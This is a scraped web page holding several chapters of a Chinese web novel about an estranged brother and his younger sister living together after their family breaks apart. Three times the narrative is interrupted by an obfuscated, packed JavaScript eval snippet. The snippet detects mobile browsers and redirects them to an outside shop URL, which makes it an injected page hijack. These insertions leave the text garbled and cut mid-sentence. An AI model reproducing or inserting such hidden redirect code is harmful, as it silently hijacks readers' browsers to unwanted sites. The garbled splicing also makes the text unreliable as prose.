周五放学,她就到高中门口等梁弛。 他出来了,校服外套随意搭在肩上,单手抄兜,身边围着好几个男生。 当他那个柔弱的妹妹胆怯开口,和他说爸爸妈妈好几天没回家的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458919|201250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁弛有过犹豫。 但还是拨通了林禾的电话。 电话里的声音很虚弱。 梁弛攥紧掌心,领着梁鲸赶去医院。 病床上,林禾瘦了很多,颧骨突出来,锁骨也突出来,像是衣服里面只剩下一副骨架。 病房里沉默片刻,接着是女孩压抑的哭声,渐渐变大、失控、崩溃,梁鲸哭得喘不上气,一遍遍叫着妈妈。 梁弛没有哭,神色木然很久。 之后,两兄妹开始频繁的学校和医院两点一线。 高考比中考要早,梁弛先高考完。 梁世宏请假也不能太久,回去继续上班,梁弛在医院守着林禾。 病房里只有母子两人,母亲的眼里终于只有儿子一个人了,可她太虚弱了,睁开眼没一会儿就闭着了,是睡着了。 梁弛怕她像他亲生父亲一样,再也睁不开。 梁世宏下了班过来,梁弛接了个电话,是之前托李哥帮忙把那辆机车卖掉的事有了眉目,买家今晚就要交货,见面给钱。 梁弛和梁世宏说有事要出去一趟。 梁世宏没看他,也没说话。 那夜细雨连连,梁弛把他那辆机车卖掉了。 这是这个家里唯一属于他的东西,不是梁家的,不是任何人的,只属于他。 他拿着卖车的钱,走路回医院。 肩头后背淋湿一大片,布料贴在身上。他回到病房里,没有人。 林禾已经被推进了抢救室,他赶过去时,人又被推出来了,白色的床单盖得整整齐齐,从头到脚,没有露出一点。 梁世宏指着他鼻子骂:“你去哪儿了!你妈妈病重成这样,你还出去和狐朋狗友鬼混!你还是个人吗!” 梁弛没有解释。 梁世宏重重扇了他一巴掌。 梁弛没躲。 和当年母亲扇他的那巴掌一样,啪的一声,在医院走廊里炸开。但这一巴掌要疼很多,梁世宏的手很大,力气也大,他的嘴角破了,血淌下来,咸腥的。 他也没有还手,耷拉着眼皮,听见一道哭腔模糊的声音,“爸,别打哥哥……” 林禾的葬礼结束后。 梁世宏似乎把所有的怨气都发泄在了梁弛身上,他骂梁弛,用很恶毒的词,最后他说:“滚,从今往后,你和这个家没有关系了。” 梁弛始终没有解释,觉得没有必要。 要他说什么?说他被误会了?说他只是想添一笔医药费?还是要他像一条摇尾乞怜的狗,求着梁世宏不要把他赶出去? 梁弛离开了梁家。 他有了新的户口本,只有一页,写着他一个人的名字。梁弛,性别男,出生日期1989年6月13日。 工作人员把新的户口本递给梁弛,说:“原来的户口本上,你的名字已经注销了。” 梁弛自嘲地勾起唇,本来就多余的一页,注销了正好。 他拿着新户口本,头也不回地离开了霖城。 …… 夜已经深了。 梁弛躺在床上,盯着天花板,思绪从回忆里抽出来。 她问他,她做错了什么? 他想着这个问题,得到答案,她没做错什么。可要是不去怪她,他又能怪谁? 怪梁世宏?他其实从未在意过这个男人的态度。怪林禾?或许曾经有过,又随着母亲的离世消散。怪命运不公?太笼统了,他找不到落点。 所以,他只能怪梁鲸了。 这个活生生的、就在他面前的女孩。 说不清,当接到她电话的那一刻,得知这个被父母捧在手心里呵护的妹妹,现在只能依靠他了,他的内心究竟是烦躁,还是……兴奋。 他告诫自己,不要给她好脸色,他收留她,是施舍,是为了看她可怜兮兮的样子,看她寄人篱下像从前的他。 他确实看到了。 但也看到,短短几天,她在他生活里的痕迹越来越多,而他容忍默许着这些发生,这令他感到不安。 当看到那张全家福,过往场景一幕幕浮现,提醒着他,容忍是一种背叛,背叛了曾经那个被忽视十几年的自己。 他要疏远她,冷待她。 可是这么做之后,他的生活并没有回到原本的轨迹。他去上课,周成扬说他摆一张臭脸,他去修车店,老板说他怎么一直不说话。 他知道今天出分,原本不想回来的,吃完午饭就去了图书馆自习,却在位置上频频出神。 梁弛眉心紧锁,眼底流淌着窗户里漏进来的月光,像湖水,荡漾着不解。 小鱼,为什么靠近你使我感到痛苦,远离你,反而使我更痛苦了呢? 深夜静谧,只有风扇转动的声音。 梁弛坐起身,垂眸看着折叠床上蜷缩着的身影,裹在毯子里,小小一只。 有那么一瞬间,他仿佛看到了当年那个蜷在遂市火车站长椅上睡着的自己。 那一年,他也是十八岁,无家可归,就像现在的她。 梁弛动作很轻地下床,站在折叠床旁边。月影昏沉朦胧,他看不太清她的脸,只有几道泪痕折射出微芒的光。 他盯着看了一会儿,她没醒,睡得很熟。 梁弛弯下腰,伸出手,手指缓缓放在她鼻前,探了探。 温热的鼻息落在他指尖,轻轻的。 还活着。 7. 檐下雨 梁鲸睡醒的时候,眼睛稍微有点肿,她揉了两下,坐起来。 梁弛还没走,两人对视一秒,她匆匆低下头,起身去了卫生间。 眼睛肿起来的时候看上去很无神,梁鲸用冷水洗了把脸,特意拍了几下眼皮,消肿效果甚微。 她出来后,愣了下。 梁弛站在门口,肩背松散,稍稍回过头看她。 他没说话,像是在等她。 梁鲸不确定,明明前两天还不想看见她,今早怎么又变卦了。 她怔怔看他,也不说话。 梁弛似乎有点不大耐烦了,眉梢略挑,“还不走?” 原来真的是在等她。 梁鲸慢了半拍才“哦”了一声,像往常一样跟在他身后下楼。虽然想不通原因,但他主动跟她说话,总比前两天又闷又别扭要好。 吃过早餐,梁鲸以为又要分道扬镳,一个回筒子楼,一个去学校。 她都已经准备转身往回走了,梁弛叫住了她。 “你今天……”他开口,话却没说完。 梁鲸不明所以,“我今天怎么了?” 梁弛定定看她,说:“你今天跟我一起去学校。” 梁鲸更疑惑,眼睛微微睁大:“为什么?” 她眼睛还没有完全消肿,一睁大就显得有些呆。 梁弛别过眼不看她,“我要考试,中午没时间带饭回来。” 梁鲸下意识说:“没事,我自己做饭就可以。” 梁弛看她一眼,眉心下压,“白水煮面吃不够吗?” 梁鲸想说是,又觉得这话太违心了。哪能不腻呢,只不过是没有办法的办法。 她低下头,不吭声了。 梁弛当她默认,朝学校的方向走。 走了两步,没听到身后有脚步声,他停下来回头看,梁鲸还站在原地。 离得不算远,她小声嘟囔的话落进他耳朵里,“反正那两天都是这么过来的。” 梁弛后背略僵,想说什么,张了张口最终只有两个字,“跟上。” 梁鲸犹豫了下。 她来到遂市这些天,活动范围只在筒子楼附近,接触到的人都是形形色色的陌生人。但去他的学校不一样,那里代表着他的人际圈,是他认识的同学或者朋友。 他把她带出去了。 梁鲸抿了抿唇,压下心底的异样,跟上去。 学校离这里不远,走路十多分钟就到了。 两人一前一后走进去,隔着两三步的距离,乍一看就像是不认识的同学,恰好走得近了点。 这是梁鲸第一次走进大学校园,比她高中学校大了十倍不止,来往的学生三五成群,衣着打扮很随性,不像高中都是统一的校服。 绿树成荫,梁鲸走在树荫底下,好奇地打量着周边。 华工的图书馆建得年份早,原本是不用刷卡的,前两年经历了一次翻新,墙面刷了漆,装了空调,书架也换新了,门口就此多了一道闸机。 进去需要刷学生卡。 到图书馆时,梁弛停步,从书包侧袋掏出学生卡递给她:“你进去找个位置坐着。” 梁鲸点点头接过,视线落在校园卡的那张证件照上,比他现在要青涩一些,头发很短,轮廓还是一样凌厉,没什么表情。 “饿了就去食堂,卡里有余额。”梁弛说,“吃完还在这儿等我。” 他顿了下,又交代一句,“别乱跑。” 梁鲸“嗯”了一声,手指轻轻摩挲卡片边缘。 她看着他背影汇入人潮中,渐渐消失,才走进图书馆。 图书馆里很凉快,比出租屋里舒服很多。她找了本感兴趣的书,坐在靠窗的位置。 周围有人在看书,也有人在写题,有一对情侣离得很近,男生在纸上写了什么,然后递给女生,女生又在纸上圈圈点点,两人相视一笑。 梁鲸托腮看着。 原来这就是大学生活。 如果高考没有失利的话,等到九月份,她也应该在大学的校园里,住进宿舍,白天上课,晚上和室友聊天,周末出去逛街。 或许也会在图书馆里,找一个靠窗的位置,和喜欢的人一起复习。 梁鲸慢慢低下头,书上的文字变得模糊,她仰起头,用力眨眨眼,把那点涩意压下去,才继续看书。 等到临近中午那会儿,她不知道梁弛什么时候考试结束,他没说。她也不想一个人去食堂,于是坐在图书馆外边的台阶上等他。 外面阳光很好,晒在身上暖洋洋的。她抬手稍微挡了下太阳,眯着眼,看来来往往的学生。 “同学,看一下吧。” 一张传单递到了她面前。 梁鲸看着眼前微笑着的年轻男人,穿着打扮也不像是学生。 学期末会有一些兼职到校园里招聘,这种招聘不经学校的正规途径,通常不敢明目张胆,都是私下里询问的方式。 男人又往前递了递传单,“暑假打算兼职的话,可以了解看看。” 梁鲸迟疑接过,看着传单上的内容,她看得很认真,尤其被“高薪日结”这几个字吸引。 男人看她感兴趣,继续说:“工作内容很简单的,就是推销酒水,也不累,二百块加提成,日结。” 梁鲸眼睛亮了亮,这个薪资比她之前问过的工作都要高出很多,她几乎不敢相信,“真的吗?” 男人嘴角笑意扩大,这种年轻漂亮又涉世未深的女孩子很容易被这种高薪工作诱惑,等到了地方可就不止推销酒水这么简单了。 “当然了。”男人笑着说,“放心吧,又不压工资,想走随时都能走。” 梁鲸真的有点心动了,她没接触过娱乐场所,想当然地以为是去餐厅或者便利店推销酒水。 高考成绩出了,她考不上想去的大学,本来准备找一份能维持生活的长期工作,但现在,眼前这份工作的薪资实在诱人。 她看了看传单上的电话号码,想问是不是打这个电话,还没开口,手中的传单被人抽走。 她茫然抬头,就看到梁弛沉着一张脸。 他瞥了男人一眼,脸色很差,把攥皱的传单别进男人手臂里,冷声说:“她不去。” 梁鲸还没反应过来,被他拉着往前走,他走得快,她踉跄了一下才跟上。手腕被他攥着,力道不轻,有点疼。 她忍不住出声。 这条路通往食堂,来往的学生很多。 梁弛松开她。 掌心一瞬间空了。 刚才握住的那一截手腕,他单手圈住还有堪堪一截拇指的富余。皮肤很软,骨骼很细,像是轻轻一折就会断。 梁弛皱眉,不自然地把手抄进裤子口袋里,嗓音还是冷:“那个人你认识吗?就跟人家聊得起劲。” “没有聊得起劲。”梁鲸觉得他这个用词很夸张,她不过是问了两句而已。 “那是什么?”梁弛反问。 梁鲸揉了一下手腕,小声辩解:“我只是想找一份工作。” “找工作?”梁弛嗤然地勾勾唇,语气嘲弄,“你知不知道那种工作是干什么的?” 梁鲸真的不明白这个工作有什么不对劲,她看着他,清澈眼眸中含着不解:“是做什么的?” 话就在嘴边,梁弛对上她天真的眼神,把话收住,没回答她。 他这个被父母过度保护的妹妹,怎么可能会知道社会险恶。 “二百块一天,加提成,日结。”梁弛叫她的名字,“梁鲸,你动脑子想想,这种工作为什么找你?” 梁鲸后知后觉反应过来,如果真的是好工作,这么高的薪资,肯定很多人抢着干,怎么会主动找她。 她默了片刻,不再辩解。 虽然知道他说得对,可她还是有一点点委屈。 她这副样子,就好像他欺负她似的。 梁弛忽然觉得烦了,烦自己多管闲事。他没再继续这个话题,转过身往前走,“先去吃饭。” 梁鲸些许气馁,垂着脑袋跟着他。 食堂里人很多,梁弛让她先找个位置坐下,他去打饭。 梁鲸在角落位置找了张空桌,她坐下没一会儿,梁弛端着两份饭过来。 他们吃饭时依旧不说话。旁边的桌子坐满了,四个男生大概是一个寝室的,聊得热火朝天,梁鲸吃饭本来就有点慢,被旁边一影响就更慢了。 梁弛饭都吃完了,她才吃了一半。 梁弛没催她,就这么抱臂看着她。 等她的时间,他旁边的位置来了个男生,餐盘往桌上一放,大咧咧地坐下来。 周成扬“诶呦”了一声,显然对梁弛和一个女生一起吃饭感到很惊讶。他拍了下梁弛肩膀,“这不会就是你之前说的……” 一个麻烦,这四个字尚未说出口,梁弛打断了他。 “我妹妹。”梁弛说。 听到这个称呼,梁鲸默默捏了捏筷子。 周成扬表情更夸张了,“从来没听你提过有什么妹妹?亲妹妹啊?” 从来没提过。 意料之中的事情,可梁鲸还是感觉口中微微发涩,她咽下口中的食物,筷子扒拉着米饭,有点吃不下去了。 梁弛看着她,眉心微微蹙起。 周成扬钝感力太强,毫无察觉气氛因为他这句话冷了下来。 他权当梁弛不说话是默认了,转头就和梁鲸套起来近乎:“妹妹,我叫周成扬,成功的成,扬名的扬。是你哥的好兄弟,你以后也管我叫哥就行。” 人家跟她说话了,她就不能只顾着吃饭不理人,这样不礼貌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458920|201250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况且,她现在也没什么胃口。 梁鲸放下筷子,坐直了些,礼貌地称呼了一声:“成扬哥。我叫梁鲸,鲸鱼的鲸。” 她说话声比一般人轻一些,听起来很乖。 梁弛眉心蹙得更深。 梁鲸注意到他表情,怀疑是自己说错了什么话。 周成扬是个自来熟,很自然地问起来:“妹妹看着年纪挺小,高中生吧?” “已经毕业了。”梁鲸说。 周成扬想了下,按时间算起来高三生确实毕业,昨天应该出了高考成绩,他随口就问出来:“考得怎么样?报得哪个学校?” 梁鲸答不上来,那个成绩令她无法开口,志愿也不想再提,肯定是没希望的。 她垂着眼眸,没吭声。 周成扬这人惯常没有边界感,也不会察言观色,完全没发觉她的异样,还在兴冲冲地介绍他们学校,“要不你报华工吧,有几个热门专业就业率特别高。而且你哥在这儿,互相有个照应,多好。” 梁鲸不知道怎么接话,只能装作在吃饭,可又吃不下去,喉咙里发出一声细微的咳嗽。 这声咳嗽被周成扬的声音盖过,他没听见,依旧滔滔不绝地说着。 这种反应梁弛很清楚,她小时候每次考试考砸,回到家里就不说话,嘴唇被咬出一道印子,等着母亲去问。 这种久远的事,竟然还记得。 梁弛没来由心烦,抬手指节轻叩周成扬面前的桌子,不锈钢材质,敲起来声响清脆。 “问东问西的,你让不让人吃饭了?”他淡淡扫了周成扬一眼。 “这不是聊得太投入了。”周成扬讪讪一笑,看着自己餐盘里还没开动的饭菜,赶紧动筷。 没有人再追问,梁鲸松了一口气,她吃得差不多了,抽出纸巾擦了擦嘴。 见她吃好了,梁弛起身说了句:“走了。” 周成扬听他要走,连忙说:“记得下午考试还让我坐你旁边。” 梁弛没搭理他,走出食堂。 这个时间点,太阳毒辣,晒得地面发烫。走出去没多远,梁弛停下来,梁鲸以为他有什么事,也跟着停下,等着他开口。 她站的位置正好能被太阳直晒。 梁弛伸手把她拉进阴凉处,说:“我下午还有一场考试,你是去图书馆等着,还是回家?” 现在太热了,走回去大概率会被晒得发蒙,后背全是汗,梁鲸想了下,说:“我在图书馆等你。” 梁弛意味不明地看着她,顿了顿,没什么情绪地“嗯”了声,尾调略扬。 两人又在图书馆前边分开。 下午,梁鲸一直待在图书馆里,困了就趴在桌子上眯一会儿。上午传单的事她还心有余悸,也不想再和人搭话,正好图书馆里安静。 她没睡太沉,半梦半醒的也不知道几点,想抬头看看墙上的钟表,结果一睁眼就看到梁弛坐在她对面,双手交叠在桌子上,目不转睛地盯着她。 梁鲸被吓了一跳,瞬间不困了。 他什么时候考完试,又是什么时候到图书馆,坐在她对面看了多久,她一概不知。 见她睡醒,他脊背往后仰了下,轻抬下巴,示意她要不要现在就走。 梁鲸呼吸还没平复,长长舒气后才点点头。 梁弛下午那场考试开始得早,结束得也早,此刻他们走出图书馆也不过下午四点钟。 出了校门,梁弛并没有往筒子楼的方向走。他身量高,步子迈得开,也不说要做什么。 梁鲸跟得有点吃力,她心想,他如果要去修车店,应该会主动说不让她跟着,但现在他没说,她也不懂这是什么意思。 于是停下来问他:“要去哪儿?” 梁弛停步,回过头,看着两人之间隔着几步距离,神色微顿。 “超市。”他回她。 他大概是要买什么东西,梁鲸也没问,跟着他继续走。他步子似乎没那么快了,渐渐的,那点距离缩成了前后肩。 梁鲸没有要买的东西,权当跟着他出来一趟。其实也不是没有要买的,主要是她钱不够,那些消耗类的生活用品,只能暂时用他的。 所以当梁弛推着购物车,问她要买什么的时候,梁鲸摇摇头,说:“我没有要买的,你挑你的就可以。” 她刻意不去看架子上的商品,视线低低的,不经意就看到了梁弛搭在扶手上的手掌。 他单手推车,骨节微微凸起,指腹有薄茧,虎口处有一小块粗糙的皮肤,算不上美观,但很有力量感。 此刻,那双手稳稳按住购物车停下。 梁弛问她:“洗发水、沐浴露也不买吗?” 梁鲸抬眸看了看他,还是摇头。 梁弛看着她眼睛,缓缓又问:“你是打算一直用我的?” 8. 檐下雨 超市里的空调开得很足。 他们站的位置侧对着风口,冷气向下吹过来,后颈一片凉意。 但梁鲸却觉得脸热。 尽管梁弛的语气和神色看起来很平静,可她还是听出了话里的介意。 梁鲸有些局促地错开他的目光。 “不是的。”她说,“等我工作赚钱了就会买新的。” “工作?”梁弛咬着这两个字,大约是想到上午传单的事,兀自笑笑,又问:“暑假兼职还是长期的?” 梁鲸迟疑片刻,再开口时回答很坚定:“长期的。” 梁弛没接话,沉默了会儿,像是对她的打算不予评价。他推着购物车到洗护用品的区域,往里面放了洗发水、沐浴露,还有一袋洗衣粉。 梁鲸状似不经意地看过去,觉得包装都很熟悉,和他出租屋里那些是同款。 梁弛察觉到她的目光,解释一句:“都快用完了。” 梁鲸想起,她昨天洗澡的时候,洗发水瓶子拿起来很轻,确实没剩多少了。沐浴露好像还有一些,洗衣粉估计只够再洗一次。 夏天容易出汗,她每天都会洗澡,衣服也洗得勤,一来布料薄容易干,二来她带的衣服不多,不洗得勤一点换不过来。 这些都是用他的。 梁鲸更不好意思了,莫名觉得这句话是在提醒她。 她说:“这些我也会记在账上的。” 不止是他给她带的饭,还有日用品,住在这里的房租,她都记在本子上,等工作赚到钱了一并还给他。 梁弛看她一眼,“随你。” 他说完,推着购物车继续往前。 他挑东西的速度很快,对比完价格,能精确地从一堆里挑出最新鲜的几个,装袋打签。 梁鲸亦步亦趋地跟着他。 超市里人很多,她怕跟他走散,更怕走散了他不等她,直接回去。 梁弛挑了几样蔬菜,一袋苹果,还有半斤牛肉。他选完东西一转身,梁鲸就在他身后。 售货员把称重后的牛肉递给他,他伸手接,放进购物车里时抬了下手肘,梁鲸在旁边迅速躲开,生怕撞到她。 梁弛放完东西,瞥了瞥她,冷哼一声。 总算是机灵一次。 到超市出口,梁弛付完账,买的东西装了两个袋子,他一手提一个,径直出去。 购物小票被收银员顺手装在购物袋里,他左手正提着。 梁鲸走在他左手边,可能是提着东西的缘故,他没走那么快了,两人几乎是并肩。 她垂眼往购物袋里看。 其实是在看那张小票,她想记一下上边的金额,然后把小票存起来。 上边的字体很小,她完全看不清楚,又惦记着记账的事,时不时瞄一下。 她小动作太明显,梁弛脚步一停,把左手那袋东西拎起来,问她:“你要提?” 梁鲸不是这个意思,可是觉得拒绝了也不好,明明买的这些是共用的,却都让他一个人提。 这么想着,她点点头,“嗯”了声。 从筒子楼到学校,再从学校到超市,虽然有很长一段时间她都在图书馆里安静看书或休息,但这个季节的气温下,今天走的路程对于梁鲸来说已经是不小的运动量。 她额角有几缕发丝湿润地贴在皮肤上,脸颊略红,呼吸时胸口有轻微的起伏弧度,像普通人跑步过后深呼吸才有的弧度。 梁弛垂眸看她,视线往下,扫过她的细胳膊细腿,说了句:“别没事找事。” 梁鲸抿了抿唇,不说话了,尽管不中听,但他说的是事实,她要是提着走回去确实是在勉强自己。 过了一会儿,她小声地问:“小票能给我吗?” 梁弛把买的东西一并放到右手拎着,腾出手从袋子里抽出小票,看了一眼金额,掀起眼皮语调散漫:“你给我报销?” 梁鲸本来是想对半记账的,报销就意味着要全额记账。 她犹豫了片刻,说:“可以。” 她不是小气的人。她计较欠钱的问题,是怕给他添麻烦的同时还让他吃亏。所以她宁可多给,也不会少给。 虽然梁鲸现在连工作都没有,但她的眼神特别真诚。 梁弛单手拎着两个购物袋,依旧气定神闲地打量她。 他不信这种在没有能力时许下的承诺,难以兑现,遥遥无期,他不喜欢这种抓不住的东西。 他轻嗤,“工作都没找到,就敢给我画饼?” 梁鲸被他说得些许羞赧。 她知道他对她找工作没有信心,可又奇怪,如果真的觉得她找不到工作,那他不是应该担心她欠他的钱怎么还吗? 面对一个还没有收入来源的欠债人,他怎么一点都没有作为债主的危机感? 梁弛递来的小票打断了她的胡思乱想。 他抬手,小票夹在他指尖,梁鲸一伸手就能够到。 他给她东西,终于不再是扔的方式了。 梁鲸把小票妥帖地放进衣服口袋里。 回到筒子楼是傍晚时分,天色将暗未暗,楼道里光线昏黄,两人的影子被拉得格外长,随着上楼的动作摇摇晃晃。 进了房间,梁弛把装着蔬菜和肉的袋子放进厨房,另一个放进卫生间。 那袋苹果被他单独拿出来,放在折叠桌上。 “吃了自己洗。”他说。 梁鲸应了一声,看着那袋苹果。 他很会挑,苹果饱满鲜红,一看便知是口感脆的那种。她有很长一段时间都没吃水果了,想吃,又觉得他只随口说一句,她就直接拿显得有点太不客气了。 梁弛走到厨房门口,见她目光落在苹果上,却没动作,他挑了下眉,拆穿她:“忸怩什么?” 梁鲸没什么底气地辩解:“我没有……” “不吃会放坏。”他又说了句,之后不再看她,走进厨房,把门也带上了。 空间像被阻隔开。 梁鲸拿了一个苹果,去卫生间的水池洗完,小口小口吃起来。 阳台改的厨房有一个好处,就是窗户够大。推到最开,风直接把炒菜的烟气全部带出去了。 梁弛很少炒菜。 电锅炒菜不方便,尤其是炒肉,温度不够,很难把肉里边的水分炒出来,总是要费些时间。他平时很忙,不愿意耽误时间,只不过今天考试,他跟修车店那边请了假。 难得休息,又恰逢考试结束,值得吃点好的庆祝一下,他告诉自己,就是这些原因。 晚饭两菜一汤。 尤其是那盘芹菜牛肉,肉比菜多。虽说之前学校食堂里也是两荤一素,但往往只有几块肉,和这盘芹菜牛肉完全不是一个量级。 丰盛到梁鲸在吃的过程中有些忐忑。 总想着下一秒他会不会就让她还钱。 但是并没有。 梁弛吃饭时还是一贯沉默。 饭后,他摸起桌上的烟盒,打开一看,发现只剩一根了。 他磕出来,又倒进去。 忽然觉得也没那么想抽。 梁鲸早早洗漱完,在整理明天要穿的衣服。 成绩的事已经尘埃落定,她没理由不去找工作了,既然这样,那就越快越好。 她在仅有的衣服里,选了一套相对来说没那么学生气的,白色衬衫加深色长裤,两件叠好放在旁边椅子上,等到明天早上去卫生间里换上。 梁弛眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“套补贴的。”梁弛指了指电池仓,“续航标两百,实际能跑一百就不错了。” 前段时间国家出台了新能源汽车的补贴方案,他们所在的城市就在试点城市当中。一时间,各种改装车、拼装车都冒了出来,贴上“新能源”的标签,就敢往市场上推。 一个月内,梁弛已经见过不止一辆。 梁弛把机舱盖合上,到洗手池边上,仔细清洗着掌心和指缝。 周成扬靠在旁边,张望几下,问了句:“你妹怎么没在?” “她为什么要在?”梁弛反问。 “你考试都要带着她,我还以为你上班也会带着她。”周成扬笑嘻嘻地说。 梁弛被这句话气笑,鼻音哼了声,没搭理他。 周成扬早就习惯了,也不在意他的态度,又问:“你把她一个人留在家里?” 梁弛偏过头看他,眼神里暗含警惕,“你问这么多做什么?” “好奇啊。”周成扬不是那种心眼多的人,他有什么说什么,“你这突然多了个妹妹,我能不好奇吗?” 毕竟三年里,这人就学校、修车店、筒子楼三点一线,就像被设定好的程序。 梁弛语气淡了下来,随口应付:“出去了。” 周成扬感叹:“这么热的天还出去。” “你不也是?”梁弛说。 “那能一样吗?我皮糙肉厚不怕晒。”周成扬撸了一下袖子,手臂上已经晒出来短袖分界线。 他展示着,梁弛却没看他,眉目凝重,似在沉思。 周成扬:“想什么呢?” 梁弛说:“没什么。” 卷帘门外,太阳西斜,热浪从地面蒸起来。 梁弛盯着看了一会儿,收回视线。 9. 檐下雨 梁鲸是早上出门前才发现书桌上有一百块钱,在鼠标底下压着。 她不知道梁弛是什么时候放在这里的,也不确定是不是留给她的。她抽出来看了看,又放回去。 万一他只是随手放在这里,她拿去花了,等他回来没看到钱再来问她,那多尴尬呀。 反正身上还有几十块钱,够坐公交车去商场,也够中午在外边吃一顿饭。这钱没有明确说给她用,她还是不要动的好。 这么想着,梁鲸锁上房门。 昨晚梁弛告诉过她附近最大的商场是坐7路公交车直达,她下了楼到站牌那里,没几分钟就等到了7路公交车。 梁鲸找了个靠窗的位置,仔细听着每一站的播报,等快到的时候,她提前起身站在后门口。 下车之后,眼前的商场比她预想中要繁华。其实霖城也有占地面积差不多的商场,但走进去就完全不同了,霖城的商场一楼服装店多是一些快时尚品牌。 而在这里,进门扑面而来的冷气混着香水的味道,梁鲸说不上来是什么香味,只觉得好闻。 一眼望去,一楼的店面全是那些电视剧里才出现过的品牌,她听以前学校里家境很好的同学提到过,说这叫奢侈品。 梁鲸不太懂,只是本能有点露怯。 她低头看了看自己的打扮,衣服鞋子都是干净的,但一眼能看出穿过很多次,是很普通的款式。 她抿抿唇,坐电梯去了楼上。 她到三楼,这一层的挑高没有一楼那么高,店铺看起来也没有那么强的距离感。 她调整着呼吸,暗暗给自己打气,终于走进一家店铺。 是一家卖鞋的,她问招不招人,人家微笑着说不招,她也微笑着说打扰了。 第二家是服装店,告诉她不要没经验的。 第三家也是服装店,只卖女装,她进去那会儿店里还有客人,一个三十岁左右的女人正在热情地接待顾客,期间看她一眼,没理会。 后来是一个挂着店长胸牌的女人回答了她。 “招人。”店长把她全身上下打量了一遍。 这种目光令梁鲸觉得紧张。 “成年了吗?”店长问。 “成年了。”梁鲸说。 “以前没做过销售吧?”能做到店长了,眼力自然不必说。单凭外表就能把一个人看出来七七八八。 没怎么接触过社会的小姑娘,家庭条件普通,不是开朗外放的性格,说实话,这种女孩并不适合销售岗位。 但她也有很显而易见的优点,足够的漂亮。 脸很小,五官精致,介于浓烈和清淡之间。因为没化妆的缘故,更显得纯净,有种我见犹怜的感觉。 身高不算很高,但比例好,身量纤细。 店里主要面向的顾客是大学生和白领,这种女孩站在店里,简直就是活招牌。 “没做过。”梁鲸诚实地说,又补了一句,“但我学东西很快。” 这种话是套词,店长没当真,轻轻一笑和她说:“下午试岗半天没有工资,能接受吗?” 梁鲸不知道还有试岗这个环节,不过只有半天的话,她还是能接受的。 她点头,“可以。” 店长接着说:“试岗结束后,合适的话,明天就正式上班,一个月试用期,底薪一千八加销售额百分之二提成。” 这个底薪比梁鲸之前在筒子楼附近问的工作要高,但又没有像传单上的工作那样高得离谱。 她问清楚试岗的时间,下午一点就要开始。 时间有点紧,不够她回去吃完饭再过来,只能在附近找个地方吃饭了。 商场内的餐厅她消费不起,梁鲸离开商场,走了一段路,找了家门面很小的餐馆解决午餐。 吃完饭,她漱了漱口,确保嘴巴里没有饭的味道,才回到商场里。 下午,店长给她找了一套工装,“之前员工留下来,虽然不是新的,但也洗干净了,你先穿,之后再给你发新工装。” 梁鲸在员工更衣室换上工装,不太合身,店长给她一个小夹子把腰那里收了一下。 她换好走出来,店长领着她到一个正在整理衣服的店员身旁,“文姐,这是新来的小梁,你带一下她。” 被叫文姐的人侧过脸看她,梁鲸才发现是她刚进店里时最先见到的那个女人。 店长把她领过来,随后去忙自己的事了。 梁鲸站得笔直,礼貌地笑笑,“麻烦文姐了。” 文姐气音哼了声,算是回应。 试岗的内容很简单,叠衣服、整理货架、招呼客人。 文姐只教一遍,就忙着接待去顾客,梁鲸只得问另外两个店员,她们又跟她讲了一遍,还小声提醒她,“文姐很强势的,你小心点。” 梁鲸“噢”了一声,没附和评价什么,只是对着她们笑笑表示感谢。 她一件一件地叠,起初叠得慢,渐渐速度快起来,叠好了码整齐。有客人进来,她学着说“欢迎光临”,声音不大,但很有诚意。 到下午六点左右,店长问了她感觉怎么样。 “挺好的。”梁鲸弯起唇,“我明天可以来上班吗?” 店长轻点头,“你明天先排早班,上午十点到下午六点。” “嗯。” 梁鲸到更衣室换下工装,出去时碰上文姐。 估计也是要下班,她打了个招呼,文姐又用气音回她。 梁鲸心里稍微别扭,又被找到工作的喜悦冲淡了一些。她轻轻吸了口气,走出商场,坐在公交车上才想起,她应该是和文姐一个班次。 回到筒子楼里,梁弛还没有回来,他在修车店里下班一贯很晚。 梁鲸洗了个苹果,又给自己煮了点东西吃。 吃药洗漱过后,她还不想睡,打算等梁弛回来和他分享找到工作的事。 还有就是,梁鲸看着压在鼠标底下的一百块钱,她要问清这个钱是不是留给她的。 她咬着嘴唇,牙齿磨了一下。 身上现在只剩下十几块了,在发工资之前,她需要问哥哥借一些钱。 梁鲸在想应该怎么开口。 晚上十点多,梁弛回来。 梁鲸没睡,坐在折叠床上,手撑在边缘,见他进来,她立刻像一把弓似的弹起来,“哥,你回来了。” 她来这里将近半个月,梁弛还是没习惯回来时有人在等他。 他淡淡“嗯”了一声,“找到工作了吗?” “找到啦。”梁鲸唇角荡开弧度,“是一个服装店……” 她报出来店名,还和 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梁弛把钱夹进去,扭过头看她,“你身上还有多少钱?” 梁鲸怔了片刻,小声地回答:“十几块。” 听到这个数额,梁弛哼笑出声,“你觉得够你用到发工资吗?” 梁鲸头摇得像拨浪鼓。 